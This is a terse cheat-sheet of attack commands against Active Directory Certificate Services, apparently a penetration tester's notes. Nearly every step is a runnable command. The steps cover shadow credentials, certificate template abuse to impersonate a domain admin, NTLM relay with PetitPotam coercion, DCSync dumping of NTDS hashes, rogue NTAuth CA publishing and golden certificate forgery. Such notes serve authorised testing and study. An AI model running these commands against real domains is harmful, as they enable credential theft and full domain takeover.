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2025-11-21 17:17:42 +01:00

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- Recon
- `certipy find domain.local/user:[email protected] -enabled`
- Shadow credentials
- Add Key Credentials to the **msDS-KeyCredentialLink** of a user, allowing authentication as that user through certificates
- Must have one of the following ACLs over the user:
- GenericAll
- GenericWrite
- AddKeyCredentialLink
- Procedure:
- Get a certificate
- `python3 /opt/pywhisker/pywhisker.py -u ValidUser -p ValidPass -d domain.local -t target --dc-ip <DC IP> --action add`
- https://github.com/ShutdownRepo/pywhisker
- Get a TGT
- `python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass $passwordFromAbove -dc-ip <DC IP> domain.local/target filename.ccache`
- https://github.com/dirkjanm/PKINITtools
- Set the ccache environment variable for Impacket
- `export KRB5CCNAME=filename.ccache`
- Get NT hash from TGT
- `python3 /opt/PKINITtools/getnthash.py domain.local/target -key <key from above> -dc-ip <DC IP>`
- Privesc through misconfigured certificate templates
- Request a certificate
- `certipy req domain.local/user:[email protected] -ca <CA Name> -template <vulnerable template> -alt <domain admin acct>@domain.local' -out pwned`
- Authenticate and extract user's NT hash
- `certipy auth -pfx pwned.pfx -username <domain admin acct> -domain domain.local -dc-ip <DC IP>`
- Privesc through Certificate Authority which allows rogue Subject Alternative Names (SANs)
- "EDITF_ATTRIBUTESUBJECTALTNAME2" config allows users to specify SANs when requesting certificates
- Effectively, any user can request a certificate as any other user
- Exploited the same way as above, but can be done on any template
- NTLM Relay to AD CS HTTP Endpoints
- Certificate enrollment web interface at http://<ADCS_Server>/certsrv/ is vulnerable to Net-NTLM relay attack
- This allows attackers to use NTLM relay to to login and generate a certificate using the relayed user's creds
- When PKINIT auth is used, Kerberos provides user with the NT hash of the account for fallback to Net-NTLM auth, which means we can also use this to obtain the NT hash of the user.
- Exploitation:
- Initialize the relay
- `certipy relay -ca <CA_IP> -template DomainController`
- Coerce authentication
- `python3 /opt/PetitPotam/PetitPotam.py -d domain.local <attacker_IP> <target_DC_IP>`
- Auth with the certificate
- `certipy auth -pfx dc.pfx -dc-ip <DC_IP>`
- DCSync
- `cme smb <target_DC>.domain.local -u <DC_machine_acct> -H <NT_hash> --ntds`
- NTAuthCertificates
- LDAP object: `(CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=rlyeh,DC=com)`
- Add new CA certificate to this object (allows it to be trusted for auth):
- `certutil.exe -dspublish -f C:\rogue.crt NTAuthCA`
- Golden certificates:
1. Get the CA cert and key: `certipy ca -backup -ca 'cthulhu-CA'`
2. Forge certificates: `certipy forge -ca-pfx cth.pfx [cert options]`